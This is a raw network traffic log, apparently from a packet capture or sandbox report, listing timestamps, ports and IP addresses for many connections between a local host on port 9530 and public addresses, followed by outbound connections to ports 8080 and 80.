May 16, 2024 16:38:53.093193054 CEST	9530	36912	53.211.82.141	192.168.2.23
May 16, 2024 16:38:53.093199015 CEST	9530	55712	85.115.193.62	192.168.2.23
May 16, 2024 16:38:53.093200922 CEST	9530	52664	48.77.87.46	192.168.2.23
May 16, 2024 16:38:53.093204021 CEST	9530	46706	84.146.192.148	192.168.2.23
May 16, 2024 16:38:53.093205929 CEST	9530	39710	165.222.136.84	192.168.2.23
May 16, 2024 16:38:53.093209982 CEST	9530	33670	163.20.254.63	192.168.2.23
May 16, 2024 16:38:53.093213081 CEST	57062	9530	192.168.2.23	192.24.214.216
May 16, 2024 16:38:53.093213081 CEST	9530	53102	18.22.2.90	192.168.2.23
May 16, 2024 16:38:53.093218088 CEST	9530	49416	45.194.65.100	192.168.2.23
May 16, 2024 16:38:53.093226910 CEST	9530	43022	107.141.198.220	192.168.2.23
May 16, 2024 16:38:53.093229055 CEST	52334	9530	192.168.2.23	145.131.192.3
May 16, 2024 16:38:53.093244076 CEST	9530	43870	137.3.172.181	192.168.2.23
May 16, 2024 16:38:53.093247890 CEST	39710	9530	192.168.2.23	165.222.136.84
May 16, 2024 16:38:53.093251944 CEST	9530	43650	4.173.234.98	192.168.2.23
May 16, 2024 16:38:53.093257904 CEST	9530	51954	76.56.236.138	192.168.2.23
May 16, 2024 16:38:53.093261003 CEST	9530	39180	223.224.206.60	192.168.2.23
May 16, 2024 16:38:53.093261957 CEST	9530	60776	37.142.200.239	192.168.2.23
May 16, 2024 16:38:53.093286037 CEST	39710	9530	192.168.2.23	165.222.136.84
May 16, 2024 16:38:53.093291044 CEST	46706	9530	192.168.2.23	84.146.192.148
May 16, 2024 16:38:53.093291044 CEST	46706	9530	192.168.2.23	84.146.192.148
May 16, 2024 16:38:53.093327045 CEST	52334	9530	192.168.2.23	145.131.192.3
May 16, 2024 16:38:53.093336105 CEST	59182	9530	192.168.2.23	176.87.2.7
May 16, 2024 16:38:53.093842983 CEST	9530	55712	85.115.193.62	192.168.2.23
May 16, 2024 16:38:53.093847036 CEST	9530	36912	53.211.82.141	192.168.2.23
May 16, 2024 16:38:53.093854904 CEST	9530	39470	59.213.249.158	192.168.2.23
May 16, 2024 16:38:53.093857050 CEST	9530	47996	44.153.108.247	192.168.2.23
May 16, 2024 16:38:53.093858004 CEST	9530	36506	203.133.219.228	192.168.2.23
May 16, 2024 16:38:53.093863010 CEST	9530	60054	5.130.79.38	192.168.2.23
May 16, 2024 16:38:53.093868017 CEST	9530	41086	72.126.107.249	192.168.2.23
May 16, 2024 16:38:53.093869925 CEST	9530	44898	121.121.74.148	192.168.2.23
May 16, 2024 16:38:53.093874931 CEST	9530	59582	209.69.82.216	192.168.2.23
May 16, 2024 16:38:53.093879938 CEST	9530	58704	161.166.65.53	192.168.2.23
May 16, 2024 16:38:53.093882084 CEST	9530	34022	139.58.189.212	192.168.2.23
May 16, 2024 16:38:53.093883991 CEST	9530	39032	175.18.100.187	192.168.2.23
May 16, 2024 16:38:53.093884945 CEST	39470	9530	192.168.2.23	59.213.249.158
May 16, 2024 16:38:53.093892097 CEST	41086	9530	192.168.2.23	72.126.107.249
May 16, 2024 16:38:53.093898058 CEST	9530	58234	216.45.106.54	192.168.2.23
May 16, 2024 16:38:53.093908072 CEST	47996	9530	192.168.2.23	44.153.108.247
May 16, 2024 16:38:53.093909025 CEST	9530	35336	100.238.192.202	192.168.2.23
May 16, 2024 16:38:53.093914032 CEST	36506	9530	192.168.2.23	203.133.219.228
May 16, 2024 16:38:53.093919992 CEST	9530	36028	112.63.114.109	192.168.2.23
May 16, 2024 16:38:53.093923092 CEST	58704	9530	192.168.2.23	161.166.65.53
May 16, 2024 16:38:53.093923092 CEST	60054	9530	192.168.2.23	5.130.79.38
May 16, 2024 16:38:53.093930960 CEST	9530	57782	25.82.87.68	192.168.2.23
May 16, 2024 16:38:53.093935966 CEST	9530	53578	4.114.169.224	192.168.2.23
May 16, 2024 16:38:53.093936920 CEST	34022	9530	192.168.2.23	139.58.189.212
May 16, 2024 16:38:53.093950033 CEST	39032	9530	192.168.2.23	175.18.100.187
May 16, 2024 16:38:53.093951941 CEST	44898	9530	192.168.2.23	121.121.74.148
May 16, 2024 16:38:53.093961954 CEST	58234	9530	192.168.2.23	216.45.106.54
May 16, 2024 16:38:53.093961954 CEST	57782	9530	192.168.2.23	25.82.87.68
May 16, 2024 16:38:53.093981028 CEST	35336	9530	192.168.2.23	100.238.192.202
May 16, 2024 16:38:53.093981981 CEST	36028	9530	192.168.2.23	112.63.114.109
May 16, 2024 16:38:53.094000101 CEST	53578	9530	192.168.2.23	4.114.169.224
May 16, 2024 16:38:53.094007969 CEST	39470	9530	192.168.2.23	59.213.249.158
May 16, 2024 16:38:53.094013929 CEST	60054	9530	192.168.2.23	5.130.79.38
May 16, 2024 16:38:53.094013929 CEST	58704	9530	192.168.2.23	161.166.65.53
May 16, 2024 16:38:53.094021082 CEST	47996	9530	192.168.2.23	44.153.108.247
May 16, 2024 16:38:53.094044924 CEST	36506	9530	192.168.2.23	203.133.219.228
May 16, 2024 16:38:53.094044924 CEST	34022	9530	192.168.2.23	139.58.189.212
May 16, 2024 16:38:53.094054937 CEST	41086	9530	192.168.2.23	72.126.107.249
May 16, 2024 16:38:53.094063044 CEST	39032	9530	192.168.2.23	175.18.100.187
May 16, 2024 16:38:53.094093084 CEST	58234	9530	192.168.2.23	216.45.106.54
May 16, 2024 16:38:53.094093084 CEST	57782	9530	192.168.2.23	25.82.87.68
May 16, 2024 16:38:53.094100952 CEST	44898	9530	192.168.2.23	121.121.74.148
May 16, 2024 16:38:53.094104052 CEST	53578	9530	192.168.2.23	4.114.169.224
May 16, 2024 16:38:53.094139099 CEST	35336	9530	192.168.2.23	100.238.192.202
May 16, 2024 16:38:53.094139099 CEST	36028	9530	192.168.2.23	112.63.114.109
May 16, 2024 16:38:53.094573021 CEST	9530	44358	217.8.128.78	192.168.2.23
May 16, 2024 16:38:53.094589949 CEST	9530	54998	77.176.220.182	192.168.2.23
May 16, 2024 16:38:53.094592094 CEST	9530	52062	201.79.134.228	192.168.2.23
May 16, 2024 16:38:53.094615936 CEST	44358	9530	192.168.2.23	217.8.128.78
May 16, 2024 16:38:53.094631910 CEST	54998	9530	192.168.2.23	77.176.220.182
May 16, 2024 16:38:53.094635963 CEST	52062	9530	192.168.2.23	201.79.134.228
May 16, 2024 16:38:53.094661951 CEST	44358	9530	192.168.2.23	217.8.128.78
May 16, 2024 16:38:53.094669104 CEST	54998	9530	192.168.2.23	77.176.220.182
May 16, 2024 16:38:53.094685078 CEST	52062	9530	192.168.2.23	201.79.134.228
May 16, 2024 16:38:53.098036051 CEST	9530	54812	182.207.51.1	192.168.2.23
May 16, 2024 16:38:53.098042011 CEST	9530	51038	65.38.243.142	192.168.2.23
May 16, 2024 16:38:53.098046064 CEST	9530	60366	90.247.84.244	192.168.2.23
May 16, 2024 16:38:53.098047972 CEST	9530	56020	88.52.71.247	192.168.2.23
May 16, 2024 16:38:53.098053932 CEST	9530	35898	17.200.104.220	192.168.2.23
May 16, 2024 16:38:53.098058939 CEST	9530	54052	164.17.57.82	192.168.2.23
May 16, 2024 16:38:53.098063946 CEST	9530	36400	59.252.215.170	192.168.2.23
May 16, 2024 16:38:53.098069906 CEST	9530	37942	110.147.2.133	192.168.2.23
May 16, 2024 16:38:53.098071098 CEST	60366	9530	192.168.2.23	90.247.84.244
May 16, 2024 16:38:53.098072052 CEST	9530	39282	81.47.82.230	192.168.2.23
May 16, 2024 16:38:53.098076105 CEST	9530	56548	157.231.67.103	192.168.2.23
May 16, 2024 16:38:53.098078966 CEST	51038	9530	192.168.2.23	65.38.243.142
May 16, 2024 16:38:53.098078966 CEST	56020	9530	192.168.2.23	88.52.71.247
May 16, 2024 16:38:53.098079920 CEST	9530	57662	8.21.168.206	192.168.2.23
May 16, 2024 16:38:53.098089933 CEST	54052	9530	192.168.2.23	164.17.57.82
May 16, 2024 16:38:53.098092079 CEST	9530	45616	80.197.138.169	192.168.2.23
May 16, 2024 16:38:53.098099947 CEST	36400	9530	192.168.2.23	59.252.215.170
May 16, 2024 16:38:53.098102093 CEST	35898	9530	192.168.2.23	17.200.104.220
May 16, 2024 16:38:53.098107100 CEST	39282	9530	192.168.2.23	81.47.82.230
May 16, 2024 16:38:53.098107100 CEST	9530	33726	23.174.17.88	192.168.2.23
May 16, 2024 16:38:53.098120928 CEST	57662	9530	192.168.2.23	8.21.168.206
May 16, 2024 16:38:53.098120928 CEST	9530	39264	106.198.76.169	192.168.2.23
May 16, 2024 16:38:53.098145008 CEST	9530	54032	138.174.166.214	192.168.2.23
May 16, 2024 16:38:53.098145962 CEST	54812	9530	192.168.2.23	182.207.51.1
May 16, 2024 16:38:53.098154068 CEST	37942	9530	192.168.2.23	110.147.2.133
May 16, 2024 16:38:53.098160982 CEST	45616	9530	192.168.2.23	80.197.138.169
May 16, 2024 16:38:53.098174095 CEST	54032	9530	192.168.2.23	138.174.166.214
May 16, 2024 16:38:53.098189116 CEST	33726	9530	192.168.2.23	23.174.17.88
May 16, 2024 16:38:53.098196030 CEST	56548	9530	192.168.2.23	157.231.67.103
May 16, 2024 16:38:53.098196030 CEST	39264	9530	192.168.2.23	106.198.76.169
May 16, 2024 16:38:53.098221064 CEST	60366	9530	192.168.2.23	90.247.84.244
May 16, 2024 16:38:53.098221064 CEST	56020	9530	192.168.2.23	88.52.71.247
May 16, 2024 16:38:53.098226070 CEST	39282	9530	192.168.2.23	81.47.82.230
May 16, 2024 16:38:53.098227978 CEST	51038	9530	192.168.2.23	65.38.243.142
May 16, 2024 16:38:53.098248005 CEST	54812	9530	192.168.2.23	182.207.51.1
May 16, 2024 16:38:53.098248959 CEST	36400	9530	192.168.2.23	59.252.215.170
May 16, 2024 16:38:53.098251104 CEST	33726	9530	192.168.2.23	23.174.17.88
May 16, 2024 16:38:53.098254919 CEST	54052	9530	192.168.2.23	164.17.57.82
May 16, 2024 16:38:53.098258972 CEST	56548	9530	192.168.2.23	157.231.67.103
May 16, 2024 16:38:53.098251104 CEST	35898	9530	192.168.2.23	17.200.104.220
May 16, 2024 16:38:53.098289967 CEST	57662	9530	192.168.2.23	8.21.168.206
May 16, 2024 16:38:53.098292112 CEST	45616	9530	192.168.2.23	80.197.138.169
May 16, 2024 16:38:53.098292112 CEST	54032	9530	192.168.2.23	138.174.166.214
May 16, 2024 16:38:53.098294020 CEST	37942	9530	192.168.2.23	110.147.2.133
May 16, 2024 16:38:53.098294020 CEST	39264	9530	192.168.2.23	106.198.76.169
May 16, 2024 16:38:53.098893881 CEST	9530	57866	195.159.146.36	192.168.2.23
May 16, 2024 16:38:53.098907948 CEST	9530	60146	223.204.132.198	192.168.2.23
May 16, 2024 16:38:53.098911047 CEST	9530	53258	141.189.85.41	192.168.2.23
May 16, 2024 16:38:53.098921061 CEST	9530	55100	221.143.145.21	192.168.2.23
May 16, 2024 16:38:53.098929882 CEST	57866	9530	192.168.2.23	195.159.146.36
May 16, 2024 16:38:53.098941088 CEST	9530	36174	185.75.156.120	192.168.2.23
May 16, 2024 16:38:53.098952055 CEST	9530	45326	106.155.215.228	192.168.2.23
May 16, 2024 16:38:53.098952055 CEST	53258	9530	192.168.2.23	141.189.85.41
May 16, 2024 16:38:53.098953009 CEST	55100	9530	192.168.2.23	221.143.145.21
May 16, 2024 16:38:53.098954916 CEST	60146	9530	192.168.2.23	223.204.132.198
May 16, 2024 16:38:53.098968983 CEST	9530	59798	157.108.181.97	192.168.2.23
May 16, 2024 16:38:53.098978043 CEST	9530	54834	165.129.140.169	192.168.2.23
May 16, 2024 16:38:53.098984957 CEST	9530	43802	135.69.228.84	192.168.2.23
May 16, 2024 16:38:53.098989964 CEST	9530	34696	73.183.116.56	192.168.2.23
May 16, 2024 16:38:53.098990917 CEST	57866	9530	192.168.2.23	195.159.146.36
May 16, 2024 16:38:53.098994970 CEST	9530	58638	96.85.237.196	192.168.2.23
May 16, 2024 16:38:53.099000931 CEST	9530	36990	164.58.167.4	192.168.2.23
May 16, 2024 16:38:53.099005938 CEST	9530	53192	176.200.80.155	192.168.2.23
May 16, 2024 16:38:53.099005938 CEST	59798	9530	192.168.2.23	157.108.181.97
May 16, 2024 16:38:53.099010944 CEST	9530	58198	57.100.179.117	192.168.2.23
May 16, 2024 16:38:53.099015951 CEST	36174	9530	192.168.2.23	185.75.156.120
May 16, 2024 16:38:53.099015951 CEST	9530	37168	105.6.208.142	192.168.2.23
May 16, 2024 16:38:53.099018097 CEST	54834	9530	192.168.2.23	165.129.140.169
May 16, 2024 16:38:53.099019051 CEST	53258	9530	192.168.2.23	141.189.85.41
May 16, 2024 16:38:53.099020958 CEST	9530	53886	164.115.99.193	192.168.2.23
May 16, 2024 16:38:53.099020958 CEST	34696	9530	192.168.2.23	73.183.116.56
May 16, 2024 16:38:53.099025011 CEST	9530	59174	92.76.185.211	192.168.2.23
May 16, 2024 16:38:53.099028111 CEST	36990	9530	192.168.2.23	164.58.167.4
May 16, 2024 16:38:53.099040985 CEST	43802	9530	192.168.2.23	135.69.228.84
May 16, 2024 16:38:53.099056959 CEST	53192	9530	192.168.2.23	176.200.80.155
May 16, 2024 16:38:53.099056959 CEST	58198	9530	192.168.2.23	57.100.179.117
May 16, 2024 16:38:53.099066019 CEST	59174	9530	192.168.2.23	92.76.185.211
May 16, 2024 16:38:53.099077940 CEST	45326	9530	192.168.2.23	106.155.215.228
May 16, 2024 16:38:53.099077940 CEST	58638	9530	192.168.2.23	96.85.237.196
May 16, 2024 16:38:53.099083900 CEST	37168	9530	192.168.2.23	105.6.208.142
May 16, 2024 16:38:53.099083900 CEST	53886	9530	192.168.2.23	164.115.99.193
May 16, 2024 16:38:53.099095106 CEST	55100	9530	192.168.2.23	221.143.145.21
May 16, 2024 16:38:53.099117994 CEST	60146	9530	192.168.2.23	223.204.132.198
May 16, 2024 16:38:53.099138021 CEST	36174	9530	192.168.2.23	185.75.156.120
May 16, 2024 16:38:53.099138975 CEST	45326	9530	192.168.2.23	106.155.215.228
May 16, 2024 16:38:53.099147081 CEST	59798	9530	192.168.2.23	157.108.181.97
May 16, 2024 16:38:53.099147081 CEST	54834	9530	192.168.2.23	165.129.140.169
May 16, 2024 16:38:53.099147081 CEST	43802	9530	192.168.2.23	135.69.228.84
May 16, 2024 16:38:53.099170923 CEST	58638	9530	192.168.2.23	96.85.237.196
May 16, 2024 16:38:53.099174976 CEST	53192	9530	192.168.2.23	176.200.80.155
May 16, 2024 16:38:53.099174976 CEST	34696	9530	192.168.2.23	73.183.116.56
May 16, 2024 16:38:53.099186897 CEST	36990	9530	192.168.2.23	164.58.167.4
May 16, 2024 16:38:53.099195957 CEST	37168	9530	192.168.2.23	105.6.208.142
May 16, 2024 16:38:53.099195957 CEST	58198	9530	192.168.2.23	57.100.179.117
May 16, 2024 16:38:53.099215984 CEST	59174	9530	192.168.2.23	92.76.185.211
May 16, 2024 16:38:53.099220037 CEST	53886	9530	192.168.2.23	164.115.99.193
May 16, 2024 16:38:53.100158930 CEST	9530	44294	172.200.180.160	192.168.2.23
May 16, 2024 16:38:53.100181103 CEST	9530	49590	166.128.164.149	192.168.2.23
May 16, 2024 16:38:53.100192070 CEST	9530	60196	163.191.121.162	192.168.2.23
May 16, 2024 16:38:53.100197077 CEST	44294	9530	192.168.2.23	172.200.180.160
May 16, 2024 16:38:53.100200891 CEST	9530	59748	38.190.19.58	192.168.2.23
May 16, 2024 16:38:53.100213051 CEST	9530	42556	40.234.83.203	192.168.2.23
May 16, 2024 16:38:53.100215912 CEST	49590	9530	192.168.2.23	166.128.164.149
May 16, 2024 16:38:53.100224018 CEST	9530	56344	155.65.177.237	192.168.2.23
May 16, 2024 16:38:53.100234985 CEST	60196	9530	192.168.2.23	163.191.121.162
May 16, 2024 16:38:53.100240946 CEST	9530	57062	192.24.214.216	192.168.2.23
May 16, 2024 16:38:53.100245953 CEST	9530	39710	165.222.136.84	192.168.2.23
May 16, 2024 16:38:53.100251913 CEST	9530	46706	84.146.192.148	192.168.2.23
May 16, 2024 16:38:53.100256920 CEST	9530	52334	145.131.192.3	192.168.2.23
May 16, 2024 16:38:53.100260973 CEST	9530	59182	176.87.2.7	192.168.2.23
May 16, 2024 16:38:53.100270033 CEST	59748	9530	192.168.2.23	38.190.19.58
May 16, 2024 16:38:53.100271940 CEST	49590	9530	192.168.2.23	166.128.164.149
May 16, 2024 16:38:53.100272894 CEST	56344	9530	192.168.2.23	155.65.177.237
May 16, 2024 16:38:53.100281000 CEST	42556	9530	192.168.2.23	40.234.83.203
May 16, 2024 16:38:53.100281000 CEST	57062	9530	192.168.2.23	192.24.214.216
May 16, 2024 16:38:53.100300074 CEST	59182	9530	192.168.2.23	176.87.2.7
May 16, 2024 16:38:53.100302935 CEST	59748	9530	192.168.2.23	38.190.19.58
May 16, 2024 16:38:53.100306034 CEST	44294	9530	192.168.2.23	172.200.180.160
May 16, 2024 16:38:53.100327015 CEST	60196	9530	192.168.2.23	163.191.121.162
May 16, 2024 16:38:53.100367069 CEST	56344	9530	192.168.2.23	155.65.177.237
May 16, 2024 16:38:53.100368977 CEST	42556	9530	192.168.2.23	40.234.83.203
May 16, 2024 16:38:53.100368977 CEST	57062	9530	192.168.2.23	192.24.214.216
May 16, 2024 16:38:53.100368977 CEST	59182	9530	192.168.2.23	176.87.2.7
May 16, 2024 16:38:53.103488922 CEST	9530	39470	59.213.249.158	192.168.2.23
May 16, 2024 16:38:53.103502035 CEST	9530	47996	44.153.108.247	192.168.2.23
May 16, 2024 16:38:53.103516102 CEST	9530	60054	5.130.79.38	192.168.2.23
May 16, 2024 16:38:53.103522062 CEST	9530	58704	161.166.65.53	192.168.2.23
May 16, 2024 16:38:53.103527069 CEST	9530	36506	203.133.219.228	192.168.2.23
May 16, 2024 16:38:53.103532076 CEST	9530	41086	72.126.107.249	192.168.2.23
May 16, 2024 16:38:53.103537083 CEST	9530	34022	139.58.189.212	192.168.2.23
May 16, 2024 16:38:53.103542089 CEST	9530	39032	175.18.100.187	192.168.2.23
May 16, 2024 16:38:53.103547096 CEST	9530	58234	216.45.106.54	192.168.2.23
May 16, 2024 16:38:53.103550911 CEST	9530	57782	25.82.87.68	192.168.2.23
May 16, 2024 16:38:53.103557110 CEST	9530	53578	4.114.169.224	192.168.2.23
May 16, 2024 16:38:53.103562117 CEST	9530	44898	121.121.74.148	192.168.2.23
May 16, 2024 16:38:53.103564024 CEST	9530	35336	100.238.192.202	192.168.2.23
May 16, 2024 16:38:53.103564978 CEST	9530	36028	112.63.114.109	192.168.2.23
May 16, 2024 16:38:53.103569031 CEST	9530	39710	165.222.136.84	192.168.2.23
May 16, 2024 16:38:53.103573084 CEST	9530	52334	145.131.192.3	192.168.2.23
May 16, 2024 16:38:53.103576899 CEST	9530	46706	84.146.192.148	192.168.2.23
May 16, 2024 16:38:53.103586912 CEST	9530	39470	59.213.249.158	192.168.2.23
May 16, 2024 16:38:53.105168104 CEST	9530	41086	72.126.107.249	192.168.2.23
May 16, 2024 16:38:53.105180979 CEST	9530	44358	217.8.128.78	192.168.2.23
May 16, 2024 16:38:53.105195999 CEST	9530	54998	77.176.220.182	192.168.2.23
May 16, 2024 16:38:53.105206013 CEST	9530	52062	201.79.134.228	192.168.2.23
May 16, 2024 16:38:53.105221987 CEST	9530	60366	90.247.84.244	192.168.2.23
May 16, 2024 16:38:53.105223894 CEST	9530	39282	81.47.82.230	192.168.2.23
May 16, 2024 16:38:53.105228901 CEST	9530	51038	65.38.243.142	192.168.2.23
May 16, 2024 16:38:53.105233908 CEST	9530	56020	88.52.71.247	192.168.2.23
May 16, 2024 16:38:53.105240107 CEST	9530	54812	182.207.51.1	192.168.2.23
May 16, 2024 16:38:53.105247021 CEST	9530	36400	59.252.215.170	192.168.2.23
May 16, 2024 16:38:53.105252028 CEST	9530	54052	164.17.57.82	192.168.2.23
May 16, 2024 16:38:53.105257034 CEST	9530	33726	23.174.17.88	192.168.2.23
May 16, 2024 16:38:53.105262995 CEST	9530	35898	17.200.104.220	192.168.2.23
May 16, 2024 16:38:53.105268002 CEST	9530	56548	157.231.67.103	192.168.2.23
May 16, 2024 16:38:53.105272055 CEST	9530	57662	8.21.168.206	192.168.2.23
May 16, 2024 16:38:53.105276108 CEST	9530	45616	80.197.138.169	192.168.2.23
May 16, 2024 16:38:53.105281115 CEST	9530	54032	138.174.166.214	192.168.2.23
May 16, 2024 16:38:53.105282068 CEST	9530	37942	110.147.2.133	192.168.2.23
May 16, 2024 16:38:53.105969906 CEST	9530	39264	106.198.76.169	192.168.2.23
May 16, 2024 16:38:53.105982065 CEST	9530	57866	195.159.146.36	192.168.2.23
May 16, 2024 16:38:53.105998039 CEST	9530	53258	141.189.85.41	192.168.2.23
May 16, 2024 16:38:53.106008053 CEST	9530	55100	221.143.145.21	192.168.2.23
May 16, 2024 16:38:53.106018066 CEST	9530	60146	223.204.132.198	192.168.2.23
May 16, 2024 16:38:53.106029034 CEST	9530	36174	185.75.156.120	192.168.2.23
May 16, 2024 16:38:53.106040955 CEST	9530	59798	157.108.181.97	192.168.2.23
May 16, 2024 16:38:53.106057882 CEST	9530	54834	165.129.140.169	192.168.2.23
May 16, 2024 16:38:53.106069088 CEST	9530	43802	135.69.228.84	192.168.2.23
May 16, 2024 16:38:53.106079102 CEST	9530	45326	106.155.215.228	192.168.2.23
May 16, 2024 16:38:53.106090069 CEST	9530	53192	176.200.80.155	192.168.2.23
May 16, 2024 16:38:53.106096029 CEST	9530	34696	73.183.116.56	192.168.2.23
May 16, 2024 16:38:53.106101990 CEST	9530	58638	96.85.237.196	192.168.2.23
May 16, 2024 16:38:53.106106043 CEST	9530	36990	164.58.167.4	192.168.2.23
May 16, 2024 16:38:53.106111050 CEST	9530	47996	44.153.108.247	192.168.2.23
May 16, 2024 16:38:53.110625982 CEST	9530	37168	105.6.208.142	192.168.2.23
May 16, 2024 16:38:53.110631943 CEST	9530	58198	57.100.179.117	192.168.2.23
May 16, 2024 16:38:53.110637903 CEST	9530	59174	92.76.185.211	192.168.2.23
May 16, 2024 16:38:53.110639095 CEST	9530	53886	164.115.99.193	192.168.2.23
May 16, 2024 16:38:53.110645056 CEST	9530	36506	203.133.219.228	192.168.2.23
May 16, 2024 16:38:53.110650063 CEST	9530	58704	161.166.65.53	192.168.2.23
May 16, 2024 16:38:53.110651970 CEST	9530	34022	139.58.189.212	192.168.2.23
May 16, 2024 16:38:53.110652924 CEST	9530	60054	5.130.79.38	192.168.2.23
May 16, 2024 16:38:53.110657930 CEST	9530	39032	175.18.100.187	192.168.2.23
May 16, 2024 16:38:53.110662937 CEST	9530	44898	121.121.74.148	192.168.2.23
May 16, 2024 16:38:53.110667944 CEST	9530	58234	216.45.106.54	192.168.2.23
May 16, 2024 16:38:53.110677004 CEST	9530	57782	25.82.87.68	192.168.2.23
May 16, 2024 16:38:53.110682011 CEST	9530	35336	100.238.192.202	192.168.2.23
May 16, 2024 16:38:53.110686064 CEST	9530	53578	4.114.169.224	192.168.2.23
May 16, 2024 16:38:53.110690117 CEST	9530	36028	112.63.114.109	192.168.2.23
May 16, 2024 16:38:53.110692024 CEST	9530	44358	217.8.128.78	192.168.2.23
May 16, 2024 16:38:53.110692978 CEST	9530	54998	77.176.220.182	192.168.2.23
May 16, 2024 16:38:53.110703945 CEST	9530	52062	201.79.134.228	192.168.2.23
May 16, 2024 16:38:53.110742092 CEST	9530	60366	90.247.84.244	192.168.2.23
May 16, 2024 16:38:53.113634109 CEST	9530	49590	166.128.164.149	192.168.2.23
May 16, 2024 16:38:53.113651037 CEST	9530	59748	38.190.19.58	192.168.2.23
May 16, 2024 16:38:53.113656044 CEST	9530	44294	172.200.180.160	192.168.2.23
May 16, 2024 16:38:53.113657951 CEST	9530	60196	163.191.121.162	192.168.2.23
May 16, 2024 16:38:53.113662958 CEST	9530	51038	65.38.243.142	192.168.2.23
May 16, 2024 16:38:53.113673925 CEST	9530	56344	155.65.177.237	192.168.2.23
May 16, 2024 16:38:53.113679886 CEST	9530	59182	176.87.2.7	192.168.2.23
May 16, 2024 16:38:53.113682032 CEST	9530	42556	40.234.83.203	192.168.2.23
May 16, 2024 16:38:53.113687038 CEST	9530	57062	192.24.214.216	192.168.2.23
May 16, 2024 16:38:53.113692999 CEST	9530	56020	88.52.71.247	192.168.2.23
May 16, 2024 16:38:53.113697052 CEST	9530	54052	164.17.57.82	192.168.2.23
May 16, 2024 16:38:53.113698959 CEST	9530	36400	59.252.215.170	192.168.2.23
May 16, 2024 16:38:53.113703966 CEST	9530	35898	17.200.104.220	192.168.2.23
May 16, 2024 16:38:53.113708973 CEST	9530	39282	81.47.82.230	192.168.2.23
May 16, 2024 16:38:53.113713026 CEST	9530	57662	8.21.168.206	192.168.2.23
May 16, 2024 16:38:53.113717079 CEST	9530	54812	182.207.51.1	192.168.2.23
May 16, 2024 16:38:53.113722086 CEST	9530	45616	80.197.138.169	192.168.2.23
May 16, 2024 16:38:53.113727093 CEST	9530	37942	110.147.2.133	192.168.2.23
May 16, 2024 16:38:53.115468979 CEST	9530	54032	138.174.166.214	192.168.2.23
May 16, 2024 16:38:53.115478992 CEST	9530	33726	23.174.17.88	192.168.2.23
May 16, 2024 16:38:53.115488052 CEST	9530	56548	157.231.67.103	192.168.2.23
May 16, 2024 16:38:53.115497112 CEST	9530	39264	106.198.76.169	192.168.2.23
May 16, 2024 16:38:53.115504980 CEST	9530	57866	195.159.146.36	192.168.2.23
May 16, 2024 16:38:53.115515947 CEST	9530	55100	221.143.145.21	192.168.2.23
May 16, 2024 16:38:53.115531921 CEST	9530	53258	141.189.85.41	192.168.2.23
May 16, 2024 16:38:53.120243073 CEST	9530	59798	157.108.181.97	192.168.2.23
May 16, 2024 16:38:53.120253086 CEST	9530	36174	185.75.156.120	192.168.2.23
May 16, 2024 16:38:53.120261908 CEST	9530	54834	165.129.140.169	192.168.2.23
May 16, 2024 16:38:53.120273113 CEST	9530	34696	73.183.116.56	192.168.2.23
May 16, 2024 16:38:53.120282888 CEST	9530	36990	164.58.167.4	192.168.2.23
May 16, 2024 16:38:53.120299101 CEST	9530	60146	223.204.132.198	192.168.2.23
May 16, 2024 16:38:53.120310068 CEST	9530	43802	135.69.228.84	192.168.2.23
May 16, 2024 16:38:53.120318890 CEST	9530	53192	176.200.80.155	192.168.2.23
May 16, 2024 16:38:53.120331049 CEST	9530	58198	57.100.179.117	192.168.2.23
May 16, 2024 16:38:53.120347977 CEST	9530	59174	92.76.185.211	192.168.2.23
May 16, 2024 16:38:53.120357037 CEST	9530	45326	106.155.215.228	192.168.2.23
May 16, 2024 16:38:53.120378971 CEST	9530	37168	105.6.208.142	192.168.2.23
May 16, 2024 16:38:53.120384932 CEST	9530	53886	164.115.99.193	192.168.2.23
May 16, 2024 16:38:53.120389938 CEST	9530	58638	96.85.237.196	192.168.2.23
May 16, 2024 16:38:53.120394945 CEST	9530	44294	172.200.180.160	192.168.2.23
May 16, 2024 16:38:53.120399952 CEST	9530	49590	166.128.164.149	192.168.2.23
May 16, 2024 16:38:53.120404959 CEST	9530	60196	163.191.121.162	192.168.2.23
May 16, 2024 16:38:53.120409966 CEST	9530	59748	38.190.19.58	192.168.2.23
May 16, 2024 16:38:53.137734890 CEST	9530	56344	155.65.177.237	192.168.2.23
May 16, 2024 16:38:53.137741089 CEST	9530	42556	40.234.83.203	192.168.2.23
May 16, 2024 16:38:53.137746096 CEST	9530	57062	192.24.214.216	192.168.2.23
May 16, 2024 16:38:53.137751102 CEST	9530	59182	176.87.2.7	192.168.2.23
May 16, 2024 16:38:53.310270071 CEST	53926	8080	192.168.2.23	27.193.96.114
May 16, 2024 16:38:53.315217018 CEST	8080	53926	27.193.96.114	192.168.2.23
May 16, 2024 16:38:53.315290928 CEST	54712	8080	192.168.2.23	121.50.47.147
May 16, 2024 16:38:53.315315962 CEST	53926	8080	192.168.2.23	27.193.96.114
May 16, 2024 16:38:53.320187092 CEST	8080	54712	121.50.47.147	192.168.2.23
May 16, 2024 16:38:53.320242882 CEST	54712	8080	192.168.2.23	121.50.47.147
May 16, 2024 16:38:53.323153019 CEST	47858	8080	192.168.2.23	63.26.144.6
May 16, 2024 16:38:53.328803062 CEST	35044	80	192.168.2.23	27.193.96.114
May 16, 2024 16:38:53.329914093 CEST	51966	8080	192.168.2.23	83.52.52.184
May 16, 2024 16:38:53.343725920 CEST	39040	8080	192.168.2.23	22.15.103.15
May 16, 2024 16:38:53.351918936 CEST	37950	80	192.168.2.23	121.50.47.147
May 16, 2024 16:38:53.353396893 CEST	45870	8080	192.168.2.23	64.175.91.127
May 16, 2024 16:38:53.360177994 CEST	43732	8080	192.168.2.23	24.160.198.68
May 16, 2024 16:38:53.361881018 CEST	43136	8080	192.168.2.23	203.60.113.51
May 16, 2024 16:38:53.373433113 CEST	8080	47858	63.26.144.6	192.168.2.23
May 16, 2024 16:38:53.373569965 CEST	47858	8080	192.168.2.23	63.26.144.6
May 16, 2024 16:38:53.378376007 CEST	80	35044	27.193.96.114	192.168.2.23
May 16, 2024 16:38:53.378381968 CEST	8080	51966	83.52.52.184	192.168.2.23
May 16, 2024 16:38:53.378386021 CEST	8080	39040	22.15.103.15	192.168.2.23
May 16, 2024 16:38:53.378393888 CEST	80	37950	121.50.47.147	192.168.2.23
May 16, 2024 16:38:53.378396034 CEST	8080	45870	64.175.91.127	192.168.2.23
May 16, 2024 16:38:53.378401041 CEST	8080	43732	24.160.198.68	192.168.2.23
May 16, 2024 16:38:53.378406048 CEST	8080	43136	203.60.113.51	192.168.2.23
May 16, 2024 16:38:53.378410101 CEST	8080	54712	121.50.47.147	192.168.2.23
May 16, 2024 16:38:53.378436089 CEST	35044	80	192.168.2.23	27.193.96.114
